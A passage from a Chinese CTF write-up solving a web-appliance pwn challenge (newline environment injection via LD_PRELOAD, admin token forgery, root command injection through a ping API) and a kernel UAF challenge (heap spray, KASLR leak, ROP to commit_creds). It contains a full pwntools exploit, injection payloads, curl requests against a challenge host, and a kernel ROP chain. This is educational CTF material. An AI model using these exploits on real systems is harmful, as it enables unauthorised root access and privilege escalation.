stdout_logfile=/var/log/crond.log
stderr_logfile=/var/log/crond_err.log
priority=5

这说明服务主链是:

nginx -> mwcgi -> entry.cgi -> 各个 API .so

同时还有一个独立常驻的插件守护进程:

mw_plugind

这两个进程的组合,正好对应 CVE-2024-10441 那条思路

注意到一个细节就是这里没有写user=…, supervisor 里默认规则:不指定用户 = 以 root 身份运行

也就是说mw_plugind包括后面的其他程序进程,都是继承root权限来运行的

负责转发和分发的就是entry.cgi,要看它到底调用了哪些api,

就看路由文件 .lib

usr/mw/webman/webapi:

MW.API.Auth.lib

{
    "MW.API.Auth": {
        "lib": "lib/MW.API.Auth.so",
        "authLevel": 0,
        "methods": {
            "7": [
                {"login": {}},
                {"logout": {}}
            ]
        }
    },
    "MW.API.Auth.Key": {
        "lib": "lib/MW.API.Auth.so",
        "authLevel": 1,
        "methods": {
            "7": [
                {"get": {"symbol": "auth_key_get"}}
            ]
        }
    },
    "MW.API.Auth.Type": {
        "lib": "lib/MW.API.Auth.so",
        "authLevel": 2,
        "methods": {
            "7": [
                {"get": {"symbol": "auth_type_get"}}
            ]
        }
    },
    "MW.API.Auth.UIConfig": {
        "lib": "lib/MW.API.Auth.so",
        "authLevel": 0,
        "methods": {
            "1": [
                {"get_ui_config": {"symbol": "auth_uiconfig_get"}}
            ]
        }
    }
}

auth_key_get被直接调用了,没有校验权限和密码

auth_key_get能用来验证当前传入的token是否正确

auth_uiconfig_get是未授权配置读取面

MW.API.Network.Ping.lib

{
    "MW.API.Network.Ping": {
        "lib": "lib/MW.API.Network.Ping.so",
        "authLevel": 1,
        "methods": {
            "1": [
                {"run": {"symbol": "network_ping_run"}}
            ]
        }
    }
}

这是ping网络测试接口,需要接收用户输入,比如端口信息,但如果输入不是正常命令,就会发生命令注入

这两步可以马上得到两个重要结论:MW.API.Auth.login是未授权接口,适合做 pre-auth 入口,MW.API.Network.Ping.run需要 token,但一旦 token 能伪造,后面就是稳定 RCE 面

从 entry.cgi开始梳理调用链

新镜像没把源码层打包进去,但旧镜像残留了 build/src,可以用来理解控制流

新版再用二进制和实测确认

旧镜像源码 build/src/mwcgi/entry.cpp 的关键逻辑非常清楚:

从 QUERY_STRING里解析 api、method、version

polaris53
polaris54

扫描当前 webapi目录下所有 .lib

polaris55

找到对应 API 后 dlopen() 目标 .so

polaris56
polaris57

dlsym()调用导出函数

polaris58
polaris59

所以解题时,先看 .lib再看 .so,比直接黑盒 fuzz 高效得多

旧镜像的 build/src/mwcgi/mwcgi_server.cpp说明 mwcgi会:

解析 SCGI 头

polaris60

把 header 里的环境变量通过 setenv()注入给 CGI 子进程

polaris61
polaris62

最后execl(ENTRY_CGI, ENTRY_CGI, nullptr)

polaris63

这解释了为什么远端请求中的各种 CGI 环境,在 entry.cgi和后面的 API 逻辑中都是可见的

简单说就是nginx → mwcgi → entry.cgi(真正的 API 接口),mwcgi不做任何校验,只负责转发请求

旧镜像 build/src/auth/mw_api_auth.cpp 里,登录逻辑长这样:

static int mw_auth_login(Json::Value &request, Json::Value &response) {
    std::string account = params.get("account", "").asString();
    std::string passwd = params.get("passwd", "").asString();

    if (account == "guest") {
        response["success"] = true;
        ...
        return 0;
    }

    SDKPluginWebloginPre(account, passwd, false);

    bool auth_success = verify_password(account, passwd);
    ...

    SDKPluginWebloginPost(...);
}

先走 SDKPluginWebloginPre
后做 verify_password

这意味着就算密码错了,插件链也已经被执行了

所以这条链天然就是 pre-auth 的

题目提示“不要爆破密码”就是这个原因

继续看同文件:

if (passwd.length() >= 0x1001 || account.length() >= 0x1001) {
    return;
}

SLIBPluginSetArg(handle, "USER", account.c_str());
SLIBPluginSetArg(handle, "TYPE", passwd.c_str());
SLIBPluginSetArg(handle, "IS_KNOWN_DEVICE", is_known_device ? "yes" : "no");
SLIBPluginAction(4, handle);

这里最重要的一句话是account 只做了长度检查,没有做换行过滤

这就是 CVE-2024-10441风格注入的入口

漏洞点一:插件 SDK 环境变量注入

旧镜像里,SLIBPluginAction()会把插件参数写到 env 文件里,再通知 mw_plugind去读取:

snprintf(env_path, sizeof(env_path), "%s/env.%d.%d",
         MW_PLUGIN_DIR, getpid(), rand());

for (const auto &arg : handle->args) {
    const std::string &key = arg.first;
    const std::string &value = arg.second;

    if (value.find('\n') != std::string::npos) {
        fprintf(fp, "%s:PLUGIN_VALUE_START\n", base64_encode(key).c_str());
        fprintf(fp, "%s\n", value.c_str());
        fprintf(fp, "PLUGIN_VALUE_END\n");
    } else {
        fprintf(fp, "%s:%s\n",
                base64_encode(key).c_str(),
                base64_encode(value).c_str());
    }
}

旧镜像里的 mw_plugind.cpp会:

逐行读 env 文件

按第一个 冒号:拆成 key/value

遇到 PLUGIN_VALUE_START 就读多行直到 PLUGIN_VALUE_END

然后 setenv()

也就是说,只要能在 account里塞入换行,就可以人为结束原本的 USER值,再伪造新的环境变量行

新版题和旧版最大的坑,是 env 文件格式变了

旧镜像源码写的是:

base64(key):base64(value)

但新版 mw_plugind二进制实测后发现:它读的是原始 KEY:VALUE

我本地直接把新版 mw_plugind跑起来,

bwrap --die-with-parent \
  --bind /tmp/pwn-image-mw-revenge-rootfs / \
  --dev-bind /dev /dev \
  --proc /proc \
  --chdir / \
  /usr/mw/bin/mw_plugind

往/var/run/mw_plugind/tmp/testenv写入:

USER:foo
TYPE:prelogin
LD_PRELOAD:/usr/lib/x86_64-linux-gnu/libmemusage.so
MEMUSAGE_OUTPUT:/usr/mw/etc/mw_token_salt

用这个来加载libmemusage.so,把内存使用统计结果打印出来

另一个终端

cat > /tmp/pwn-image-mw-revenge-rootfs/run/mw_plugind/tmp/testenv <<'EOF'
USER:foo
TYPE:prelogin
LD_PRELOAD:/usr/lib/x86_64-linux-gnu/libmemusage.so
MEMUSAGE_OUTPUT:/usr/mw/etc/mw_token_salt
EOF

再启一个终端然后给它发 plugin packet

python3 - <<'PY'
import socket, struct

sock_path = '/tmp/pwn-image-mw-revenge-rootfs/run/mw_plugind/mw_plugind.sock'
action = 4
plugin_type = b'weblogin'
env_path = b'/var/run/mw_plugind/tmp/testenv'
plugin_uuid = b'test-uuid'

pkt = struct.pack(
    '<i256s256s256s45s',
    action,
    plugin_type.ljust(256, b'\0'),
    env_path.ljust(256, b'\0'),
    plugin_uuid.ljust(256, b'\0'),
    b'\0' * 45
)

s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect(sock_path)
s.sendall(pkt)
s.close()
print('packet sent')
PY
polaris64

可以看到内存统计结果已经回显到第一个终端上

日志里能直接看到:

Args=[USER=foo,TYPE=prelogin,LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libmemusage.so,MEMUSAGE_OUTPUT=/usr/mw/etc/mw_token_salt]

这是直接显示出来的payload,没有base64编码,这说明新版远端利用时,不要再用旧版那种 base64 key/value 了,直接 raw KEY:VALUE 才对

因此,真正的 pre-auth 注入格式应当是:

seed
PLUGIN_VALUE_END
LD_PRELOAD:/usr/lib/x86_64-linux-gnu/libmemusage.so
MEMUSAGE_OUTPUT:/usr/mw/etc/mw_token_salt

作为 account 参数发给:

/webapi/entry.cgi?api=MW.API.Auth&method=login&version=7

即使密码是错的,插件还是会先执行,环境变量已经污染成功

环境变量注入只是第一步,关键在于拿它做什么

我这里选的是:

LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libmemusage.so
MEMUSAGE_OUTPUT=/usr/mw/etc/mw_token_salt

原因是它能提供一个非常稳定的按指定绝对路径写文件能力

这比 LD_DEBUG_OUTPUT 这种会自动加 .pid 后缀的方案好太多,因为我们要打的是一个固定文件名:

/usr/mw/etc/mw_token_salt

远端实测也确认了这一点:

  • 把 MEMUSAGE_OUTPUT 指到 web 根时,可以稳定生成文件
  • 把它指到 /usr/mw/etc/mw_token_salt 时,同样会成功覆写目标文件

漏洞点二:把 mw_token_salt 打坏,离线伪造 token

先看 mwtoken.so 暴露了什么

新版镜像里的 usr/lib/mwtoken.so 没有源码,但动态符号没有被去掉:

polaris65

同时字符串也很直白:

polaris66

看到这里基本可以确定:token 是这个库统一签发和校验的,mw_token_salt文件就是签名的关键材料

先调用 issue_mw_token(“admin”),拿到一个 token,形如 A.B.C

把 A 做 base64url 解码,得到 admin

B 本身就是十进制时间戳,而且和 harness 里打印的 expires= 一致,所以它就是过期时间

把 C 解码,得到的是这种格式:

$6$<salt>$<hash>

这个格式正是 glibc crypt() 的 SHA-512-crypt 输出

bwrap --die-with-parent \
  --dir /usr --dir /usr/lib --dir /usr/mw \
  --bind /lib /lib \
  --bind /lib64 /lib64 \
  --bind /usr/lib/x86_64-linux-gnu /usr/lib/x86_64-linux-gnu \
  --bind "$PWD/rootfs/usr/lib/mwtoken.so" /usr/lib/mwtoken.so \
  --bind "$PWD/rootfs/usr/mw/etc" /usr/mw/etc \
  --bind "$PWD/../pwn-mw-user" /work \
  --chdir /work \
  /lib64/ld-linux-x86-64.so.2 \
  --library-path /usr/lib:/usr/lib/x86_64-linux-gnu:/lib/x86_64-linux-gnu \
  ./token_harness.bin issue admin
polaris67

所以结构就被反推出:

base64url(username) . expiry . base64url(crypt.crypt(f"{username}|{expiry}", f"$6${salt}$"))

我本地用系统自带的 libmemusage.so生成的内容覆盖 mw_token_salt

MWETC=rootfs/usr/mw/etc
rm -f "$MWETC/mw_token_salt"

bwrap --die-with-parent \
  --dir /usr \
  --dir /usr/mw \
  --bind /bin /bin \
  --bind /lib /lib \
  --bind /lib64 /lib64 \
  --bind /usr/lib/x86_64-linux-gnu /usr/lib/x86_64-linux-gnu \
  --bind "$MWETC" /usr/mw/etc \
  --setenv LD_PRELOAD /usr/lib/x86_64-linux-gnu/libmemusage.so \
  --setenv MEMUSAGE_OUTPUT /usr/mw/etc/mw_token_salt \
  /bin/true

保护下把系统必要的库、命令映射进沙箱

polaris68

可以看到内存统计结果,说明libmemusage.so 确实被执行了

接着去看下被覆写的文件

polaris69

生成出来的 mw_token_salt文件前面是一大串 \\x00,说明salt文件被成功破坏

而且照常来说,这个salt解析出来会是一个空串

验证一下,用现在被破坏的盐值生成token文件,再本地用空盐计算一遍,看结果是否一样

TOKEN=$(
  MWTOKEN=rootfs/usr/lib/mwtoken.so
  MWETC=rootfs/usr/mw/etc
  bwrap --die-with-parent \
    --dir /usr --dir /usr/lib --dir /usr/mw \
    --bind /lib /lib \
    --bind /lib64 /lib64 \
    --bind /usr/lib/x86_64-linux-gnu /usr/lib/x86_64-linux-gnu \
    --bind "$PWD/$MWTOKEN" /usr/lib/mwtoken.so \
    --bind "$PWD/$MWETC" /usr/mw/etc \
    --bind "$PWD/../pwn-mw-user" /work \
    --chdir /work \
    /lib64/ld-linux-x86-64.so.2 \
    --library-path /usr/lib:/usr/lib/x86_64-linux-gnu:/lib/x86_64-linux-gnu \
    ./token_harness.bin issue admin | awk -F= '/^token=/{print $2}'
)

python3 - <<'PY' "$TOKEN"
import base64, crypt, sys
t = sys.argv[1]
u, e, s = t.split(".")
dec = lambda x: base64.urlsafe_b64decode(x + "=" * (-len(x) % 4)).decode()
user = dec(u)
sig = dec(s)
print(sig == crypt.crypt(f"{user}|{e}", "$6$$"))
PY
polaris70

输出结果为True

也就是说,这个库在读取被覆写后的 salt 文件时,等价地退化成了:

salt = ""

这一步非常重要,因为它把原本服务器端独有的 salt,变成了我们本地完全可计算的空 salt

所以可以离线伪造管理员 token

最终 forge 逻辑非常简单:

import base64
import crypt
import time

user = "admin"
exp = str(int(time.time()) + 86400 * 7)
sig = crypt.crypt(f"{user}|{exp}", "$6$$")

token = ".".join([
    base64.urlsafe_b64encode(user.encode()).decode().rstrip("="),
    exp,
    base64.urlsafe_b64encode(sig.encode()).decode().rstrip("="),
])

print(token)

得到YWRtaW4.1776221628.JDYkJHRlUTFjLy9sUE4uVW1DaEdubndJS24ycFljNzYxb0RyakRLZUFadlpwbGJiZzhQcUVNYUZhVmtFT1ZXZFhNeXJsNHQuemtPWXBXUFVZNnR5bnA1aTQx

先远端env注入,不管密码对不对,反正已经可以预认证污染了

curl -sG 'http://1314-5dee133e-b00b-41c3-82e7-d02a622415fc.challenge.ctfplus.cn/webapi/entry.cgi' \
  --data-urlencode 'api=MW.API.Auth' \
  --data-urlencode 'method=login' \
  --data-urlencode 'version=7' \
  --data-urlencode $'account=seed\nPLUGIN_VALUE_END\nLD_PRELOAD:/usr/lib/x86_64-linux-gnu/libmemusage.so\nMEMUSAGE_OUTPUT:/usr/mw/etc/mw_token_salt' \
  --data-urlencode 'passwd=x'

再远端拿这个 token 去请求:

/webapi/entry.cgi?api=MW.API.Auth.Key&method=get&version=1&mw_token=<token>

返回:

polaris71

说明伪造成功

拿到 token 后,Ping就是 RCE,先看 Ping二进制的导出和字符串

MW.API.Network.Ping.so里动态符号有:

network_ping_run
system

字符串里更直接:

Invalid ping target
/usr/bin/ping -c 1 -W 1 
executing system command=%s
ping requested runner=%s target=%s

这已经非常接近明示了:

它是拼 shell 命令后直接 system()

用 Ping拿 RCE

最小测试 payload:

target=127.0.0.1$(touch$IFS/usr/mw/webman/rce_ok)

能在 web 根看到 /rce_ok,就说明命令注入打通了

结合前面提到的root权限执行,所以这一段已经是稳定 root RCE

cp /flag.txt /usr/mw/webman/xxx

这步我实际上试过,返回值看起来是成功的,但目标文件没有稳定出现在 web 根

所以最终我用了更稳的文件名外带方案:

touch /FLAGMARK$(cat /flag.txt)

先在根目录创建文件名

curl -sG "$BASE/webapi/entry.cgi" \
  --data-urlencode 'api=MW.API.Network.Ping' \
  --data-urlencode 'method=run' \
  --data-urlencode 'version=1' \
  --data-urlencode "mw_token=$TOKEN" \
  --data-urlencode 'target=127.0.0.1$(touch$IFS/FLAGMARK$(cat$IFS/flag.txt))'

如果 cat /flag.txt成功,根目录就会生成一个名字是FLAGMARK<flag内容>的文件

接着再跑一次:

/usr/bin/script -q -c /bin/ls /usr/mw/webman/lsroot_flag

把 / 的目录列表写到 web 根

curl -sG "$BASE/webapi/entry.cgi" \
  --data-urlencode 'api=MW.API.Network.Ping' \
  --data-urlencode 'method=run' \
  --data-urlencode 'version=1' \
  --data-urlencode "mw_token=$TOKEN" \
  --data-urlencode 'target=127.0.0.1$(/usr/bin/script$IFS-q$IFS-c$IFS/bin/ls$IFS/usr/mw/webman/lsroot_flag)'

最后请求 /lsroot_flag,就能在目录项里直接看到flag

curl -s "$BASE/lsroot_flag"
polaris72

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

json = __import__('json')
time = __import__('time')
re = __import__('re')
crypt = __import__('crypt')
quote_plus = __import__('urllib.parse', fromlist=['quote_plus']).quote_plus

host = args.HOST or '127.0.0.1'
port = int(args.PORT or 80)


def ub64(x):
    if isinstance(x, str):
        x = x.encode()
    return b64e(x).replace('+', '-').replace('/', '_').replace('=', '')


def qs(d):
    return '&'.join(f'{quote_plus(str(k))}={quote_plus(str(v))}' for k, v in d.items())


def http(path, params=None):
    if params:
        path = f'{path}?{qs(params)}'

    io = remote(host, port)
    req = (
        f'GET {path} HTTP/1.1\r\n'
        f'Host: {host}\r\n'
        'Connection: close\r\n'
        '\r\n'
    ).encode()


    io.send(req)
    head = io.recvuntil(b'\r\n\r\n')
    code = int(head.split(b' ', 2)[1])
    body = io.recvall(timeout=2)
    io.close()
    return code, head, body


def api(api_name, method, version, **kw):
    params = {
        'api': api_name,
        'method': method,
        'version': str(version),
    }
    params.update(kw)
    return http('/webapi/entry.cgi', params)


def j(body):
    return json.loads(body.decode(errors='ignore'))


def forge(user='admin'):
    exp = str(int(time.time()) + 86400 * 7)
    sig = crypt.crypt(f'{user}|{exp}', '$6$$')
    return '.'.join([ub64(user), exp, ub64(sig)])


def clobber_salt():
    account = (
        'seed\n'
        'PLUGIN_VALUE_END\n'
        'LD_PRELOAD:/usr/lib/x86_64-linux-gnu/libmemusage.so\n'
        'MEMUSAGE_OUTPUT:/usr/mw/etc/mw_token_salt'
    )
    code, _, body = api(
        'MW.API.Auth',
        'login',
        7,
        account=account,
        passwd='x',
    )
    log.info(f'login http = {code}')
    log.info(f'login body = {body.decode(errors="ignore")}')
    return j(body)


def check_token(tok):
    code, _, body = api(
        'MW.API.Auth.Key',
        'get',
        1,
        mw_token=tok,
    )
    log.info(f'auth.key http = {code}')
    log.info(f'auth.key body = {body.decode(errors="ignore")}')
    return j(body)


def ping(tok, target):
    code, _, body = api(
        'MW.API.Network.Ping',
        'run',
        1,
        mw_token=tok,
        target=target,
    )
    log.info(f'ping http = {code}')
    log.info(f'ping body = {body.decode(errors="ignore")}')
    return body


def get_flag(tok):
    tag = hex(int(time.time()))[2:]
    mark = f'FLAGMARK{tag}_'
    out = f'lsroot_{tag}'

    ping(tok, f'127.0.0.1$(touch$IFS/{mark}$(cat$IFS/flag.txt))')
    time.sleep(1)
    ping(tok, f'127.0.0.1$(/usr/bin/script$IFS-q$IFS-c$IFS/bin/ls$IFS/usr/mw/webman/{out})')
    time.sleep(1)

    code, _, body = http(f'/{out}')
    if code != 200:
        log.failure(f'get /{out} -> {code}')
        raise SystemExit(1)

    text = body.decode(errors='ignore')
    log.info(text)
    m = re.search(r'polarisctf\{[^}\n]+\}', text)
    if not m:
        log.failure('flag not found')
        raise SystemExit(1)
    return m.group(0)


if __name__ == '__main__':
    code, _, _ = http('/')
    log.info(f'root http = {code}')

    resp = clobber_salt()
    log.success(f'login_response = {json.dumps(resp, ensure_ascii=False)}')
    time.sleep(1)

    tok = forge('admin')
    log.success(f'mw_token = {tok}')

    info = check_token(tok)
    log.success(f'token_check = {json.dumps(info, ensure_ascii=False)}')

    flag = get_flag(tok)
    log.success(f'flag = {flag}')

mw-revenge

这个题和上面那道新版的镜像文件是一样的,当时还以为我看错了,仔细一看两题的网盘链接都一样,所以exp就是上道题复用就行

至于出题人说的fucking cpp! 二选一

我不是很懂,可能是继续啃c++源码?或者说是愿意图是让二选一,想保留那份旧版的题目,但是更新时不小心两个都换掉了?

旧镜像 pwn-mw-user 没有新版这些收尾条件:没有 start.sh 动态写 /flag.txt,没有 MW.API.Network.Ping,没有 mw_token_salt 这条 token 链

只能走老的 Auth.login -> env injection 这半条

babykernel

本地复现视频放在b站了https://www.bilibili.com/video/BV1NqDQB2E22/?vd_source=28439a6821ef59decd2895613f504f44

一道内核题

拿到题目,先看下给的run.sh

run.sh

#!/bin/bash
qemu-system-x86_64 \
    -m 256M \
    -cpu kvm64,+smep,+smap \
    -smp cores=2,threads=2 \
    -kernel ./bzImage \
    -hda ./rootfs.img \
    -nographic \
    -monitor /dev/null \
    -append "console=ttyS0 root=/dev/sda rw rdinit=/sbin/init nokaslr pti=on quiet oops=panic panic=1" \
    -no-reboot \
    -snapshot \
    -s

可以看到给的默认启动环境是nokaslr

接着解包文件系统镜像

在root文件夹里找到题目给的主要漏洞驱动NetRef.ko

ida打开分析

先看初始化函数

polaris73

把这个模块注册成misc设备,然后是分别执行打印成功和失败的输出信息

点开&misc_dev的结构体地址,在里面找到文件操作表fops,再顺着找到netref_ioctl这个主控函数

里面有很多条命令函数,我们一个个看,把分发逻辑搞清楚

rw_job的逻辑很简单:

polaris74
NetJob = jobs[idx];
if (!NetJob) 
    return -ENOENT;
size = min(size, 0x100);
if (is_write)
    copy_from_user(job->data, user_ptr, size);
else
    copy_to_user(user_ptr, job->data, size);   //cmd_read

也就是说,只要 jobs[idx]里还留着一个非空指针,CMD_READ和 CMD_WRITE 就会无条件把这块地址当成 NetJob 来操作

如果这块内存已经被 kfree,那这里就是标准 UAF 读写

alloc_job有几个非常关键的点:

idx <= 0xff,size <= 0x100,jobs[idx]为空时才允许分配

实际申请的是 0x200字节,也就是 kmalloc-512

用户数据从对象 +0x8开始拷进去,对象尾部还会初始化一个函数指针default_handler

polaris75

从汇编可以直接看出:

polaris76

然后看CMD_MARK,就是在netref_ioctl里的cmd=deadbeef分支

polaris77
polaris78

正常路径是:先 refcnt++,如果 state != 2

就把 state = 1,把 v6写到 +0x108,解锁后 refcnt–,返回 0

异常路径是:先 refcnt++,v6 == 114514,然后锁内又 refcnt–,设置 state = 2,解锁后还会统一 refcnt–,返回 -84

这里有一个非常明显的逻辑错误:

正常路径是 +1然后 -1,没有问题

但 v6== 0x1bf52 的异常路径里,锁内先减了一次,出锁以后又统一减一次

所以如果对象原本 refcnt == 1,执行一次:

ioctl(fd, CMD_MARK, {.idx = i, .v6= 0x1bf52});

引用计数变化就是:1 -> 2 -> 1 -> 0

最后对象没有被释放,但 refcnt已经被打成 0,而且 state被置成了 2

CMD_FREE 的逻辑在nef_ioctl的末尾部分,cmd=0x2222触发,要看仔细点

polaris79

从这里也可以看出一个job对象开头的字节对应的是引用计数,关键问题它只看 refcnt == 0就 kfree(job)

kfree之后没有 jobs[idx] = NULL

所以完整的漏洞序列就是:

ALLOC -> MARK(0x1bf52) -> FREE

执行之后对象真的被 kfree,但是 jobs[idx] 还指向原来的地址,CMD_READ / CMD_WRITE / CMD_EXEC依然能继续访问它

这就是一个UAF

然后是CMD_EXEC

CMD_EXEC分支是cmd=cafebabe

polaris80

调用目标是 job->cmd_handler,也就是 +0x110

传给 handler 的参数是 job->data,也就是 job + 0x8

这些我们前面在alloc里面看到的结构

结合 rw_job和 CMD_MARK还有CMD_EXEC的访问偏移,可以恢复出最重要的结构:

typedef struct NetJob {
    int refcnt;                  // +0x00
    int state;                   // +0x04
    char data[0x100];            // +0x08
    uint64_t magic_tag;          // +0x108
    uint64_t cmd_handler;        // +0x110
} NetJob;

注意rw_job只会读写 data[0x100] 这一段,也就是 [base+0x8, base+0x108),CMD_MARK写的是 magic_tag,也就是 +0x108

CMD_EXEC调用的是 cmd_handler,也就是 +0x110

这个 +0x108和+0x110的区别,后面非常关键

这意味着如果我们能覆盖 +0x110,就能控 RIP,而且第一次调用时 rdi = job + 0x8,这天然适合做栈迁移

但这里也有一个坑:CMD_MARK只能写 +0x108的 magic_tag,真正被调用的是 +0x110的 cmd_handler

所以这题不能靠 CMD_MARK直接改函数指针
必须先把 UAF 对象回收到别的内核对象上,再用那个新对象的布局去覆盖 +0x110

既然 NetJob是 kmalloc-512里的 0x200对象,那最自然的思路就是找一个也会进 kmalloc-512,内容大量可控并且某个可控区域能覆盖到旧对象 +0x110

那么想法就是走堆块重叠的套路,用一个同 cache 的别的内核结构的对象,来间接覆盖到cmd_handler

这里我选的是msg_msg,它的内容大量可控

Linux 里的 struct msg_msg头部大概是:

struct msg_msg {
    struct list_head m_list;   // 0x00
    long m_type;               // 0x10
    size_t m_ts;               // 0x18
    struct msg_msgseg *next;   // 0x20
    void *security;            // 0x28
    char text[];               // 0x30
};

如果一个 msg_msg正好回收到 UAF 的 NetJob上,那么:

NetJob + 0x110 == msg_msg + 0x110 == msg_msg->text + 0xe0

所以只要发一条消息,控制:

*(uint64_t *)(mtext + 0xe0) = target_handler;

就等于覆盖了悬挂 NetJob的 cmd_handler

这里有个细节:CMD_WRITE只能写旧 NetJob的 data[0x100],也就是 +0x8 ~ +0x108,它永远碰不到 +0x110的 cmd_handler

所以最终利用必须拆成两步,先靠 msg_msg喷射,把 +0x110 预先布成 pivot gadget

再用 UAF CMD_WRITE往 +0x8 ~ +0x108这段里写 ROP 栈

还差一个问题需要解决KASLR,到这里已经能拿到 RIP,但还差内核基址

一开始我用ai试过几个方向:直接盲猜 slide,msg_msg伪造 m_ts触发 usercopy panic

还有尝试inotify 的一些结构体泄露

其中msg_msg的 panic 泄露只能在 crash 日志里看到 Kernel Offset,不适合同会话利用。

inotify 有一条 root 可用的静态符号泄露,但普通 ctf 用户拿到的是 ucounts 堆指针,不够直接

最后稳定可用的方案,是 sysv_sem + inotify

ai写了一个扫描器,把常见对象挨个尝试去回收这个 kmalloc-512 槽

最后最有价值的两个对象是:

  • msg_msg
  • sysv sem

其中 sysv sem 的优点是:它也能稳定回收到 kmalloc-cg-512,它后续有一个现成的内核接口 semctl(GETVAL) 能读内部数组

如果能把边界字段改大,就有机会做 OOB read

在 READ 出来的 UAF 数据里找到了稳定指纹:

q[16] == q[17]
q[18] == q[19]
q[20] == q[21]
q[22] == 1

对应代码里就是:

static int is_sem_slot(const uint64_t *q, uint64_t *base_out) {
    if (q[16] == q[17] && q[18] == q[19] && q[20] == q[21] &&
        q[22] == 1 && is_kernel_ptr(q[16]) &&
        is_kernel_ptr(q[18]) && is_kernel_ptr(q[20])) {
        *base_out = q[16] - 0x88;
        return 1;
    }
    return 0;
}

q[22] == 1 这个值,后来证明正好就是 sem_nsems

Linux 6.8 里 semctl(GETVAL) 的关键逻辑可以抽象成:

if (semnum >= sma->sem_nsems)
    return -EINVAL;

curr = &sma->sems[semnum];
return curr->semval;

本来我们创建的是:

semget(IPC_PRIVATE, 1, 0600 | IPC_CREAT)

所以真实 sem_nsems == 1,只能读第 0 个信号量

但由于这是回收到 UAF 槽里的 sem_array,我们可以直接对悬挂指针做:

patch[22] = 8;
ioctl(fd, CMD_WRITE, ...);

也就是把 sem_nsems 从 1 改成 8

这样再执行:

semctl(semid, 4, GETVAL);

内核就会相信第 4 个元素合法,从 sma->sems[4] 读一个 semval 出来。

这个读已经越过了真实数组,打到了后面紧邻的对象

为了把越界读打到稳定对象上,我的分配顺序是:

  1. 先制造 16 个 UAF hole
  2. 再申请 4 个 semget(...)
  3. 再申请 12 个 inotify_init1(...)

这样在同一个 slab 页里,经常能形成:

[ sem ][ sem ][ sem ][ sem ][ inotify ][ inotify ] ...

于是某个 sem_array 的 OOB read,就会落到后面的 inotify 对象上

GETVAL(4) 泄露的是 inotify_fsnotify_ops这一步是实测出来的

本地跑出来比较稳定的结果是:

getval[4] = 0xaa44bcc0

然后把题包 bzImage 恢复成 vmlinux 之后,用 nm 可以拿到:

ffffffff8244bcc0 D inotify_fsnotify_ops

两者一对,就发现:0xaa44bcc0 – 0x8244bcc0 = 0x28000000

这正好是合法的 KASLR slide,而且还是 0x200000 对齐。

所以自动泄露的公式就是:slide32 = leak32 – (uint32_t)0xffffffff8244bcc0;

利用代码里的实现就是:

cand = (uint32_t)semctl(semids[i], 4, GETVAL);
slide32 = cand - (uint32_t)(KERNEL_BASE + INOTIFY_OPS_OFF);

if ((slide32 & 0x1fffffU) == 0 && slide32 < 0x40000000U)
    return slide32;

这一步完成以后,就有了同会话、普通用户可用的 KASLR 泄露

再把题包 bzImage 转回了 vmlinux,拿到了这几个关键符号:

ffffffff811300b0 T commit_creds
ffffffff81130650 T prepare_kernel_cred
ffffffff82201150 T swapgs_restore_regs_and_return_to_usermode
ffffffff8244bcc0 D inotify_fsnotify_ops
ffffffff8328fbc0 D init_cred

相对 KERNEL_BASE = 0xffffffff81000000 的偏移分别是:

commit_creds                              = 0x001300b0
swapgs_restore_regs_and_return_to_usermode = 0x01201150
inotify_fsnotify_ops                      = 0x0144bcc0
init_cred                                = 0x0228fbc0

另外还需要两个 gadget:

  • pop rdi; ret0xffffffff810c8099
  • pivot gadget:0xffffffff81e74805

CMD_EXEC 调用 handler 的形式是:

fn(job->data);

也就是第一次进入 gadget 时:

rdi = job + 0x8

而我选到的 pivot gadget 是:

0xffffffff81e74805: push rdi
0xffffffff81e74806: mov ecx, 0x415b0007
0xffffffff81e7480b: pop rsp
0xffffffff81e7480c: pop r13
0xffffffff81e7480e: pop rbp
... ret

先把 rdi 压到当前内核栈上,再 pop rsp,直接把 rsp 改成刚才那个 rdi,也就是把内核栈 pivot 到 job->data

而 job->data 恰好就是我们通过 UAF WRITE 能控制的那块区域。

所以这题的 handler 劫持几乎是“为 stack pivot 量身定做”的。

最终 ROP:commit_creds(init_cred) + KPTI 返回用户态

用 init_cred,常规 kernel pwn 经常写:

commit_creds(prepare_kernel_cred(NULL));

但这里完全没必要多找一个 mov rdi, rax 类 gadget
因为 init_cred 是静态内核对象,直接commit_creds(&init_cred)就够了,这样只需要一个 pop rdi; ret

因为 pivot gadget 先:

  • pop r13
  • pop rbp
  • 然后才 ret

所以栈前两个槽位要先放占位值。

最终链是:

chain[0] = 0x1111111111111111;   // 给 pop r13
chain[1] = 0x2222222222222222;   // 给 pop rbp
chain[2] = pop_rdi_ret;
chain[3] = init_cred;
chain[4] = commit_creds;
chain[5] = kpti_trampoline;

chain[6..19] = 0;                // 给 trampoline 弹寄存器
chain[20] = 0;                   // 用户态 rdi
chain[21] = 0x3333333333333333;  // 对齐占位
chain[22] = (uint64_t)get_flag;  // 用户态 rip
chain[23] = user_cs;
chain[24] = user_rflags;
chain[25] = user_sp;
chain[26] = user_ss;

KPTI trampoline 我用的是:

swapgs_restore_regs_and_return_to_usermode + 0x57

也就是:

0xffffffff822011a7

这段代码从这里开始会:

  1. 先弹一堆内核寄存器
  2. 然后把用户态的 ss/rsp/rflags/cs/rip 重新压好
  3. 最后 iretq 回到用户态

对应的关键汇编是:

ffffffff822011a7: pop r15
ffffffff822011a9: pop r14
...
ffffffff822011bd: mov rdi, rsp
ffffffff822011c0: mov rsp, gs:0x6004
ffffffff822011c9: push QWORD PTR [rdi+0x30]   ; ss
ffffffff822011cc: push QWORD PTR [rdi+0x28]   ; rsp
ffffffff822011cf: push QWORD PTR [rdi+0x20]   ; rflags
ffffffff822011d2: push QWORD PTR [rdi+0x18]   ; cs
ffffffff822011d5: push QWORD PTR [rdi+0x10]   ; rip

因此我们的 chain[22..26] 正好就是用户态返回框架。

完整利用链如下

先保存用户态寄存器

  • cs
  • ss
  • rsp
  • rflags

供 KPTI trampoline 回用户态使用

把进程绑在 CPU0上,减少 slab 分配抖动

自动泄露 KASLR

流程是:

  1. 造 16 个 NetJob
  2. 对这 16 个都执行 MARK(0x1bf52),把 refcount 打成 0
  3. FREE 掉它们,得到 16 个悬挂槽
  4. 申请 4 个 semget(...)
  5. 再申请 12 个 inotify_init1(...)
  6. 对悬挂槽逐个 READ,识别哪几个是 sem_array
  7. 用 UAF WRITE 把这些 sem_array 的 sem_nsems 从 1 改成 8
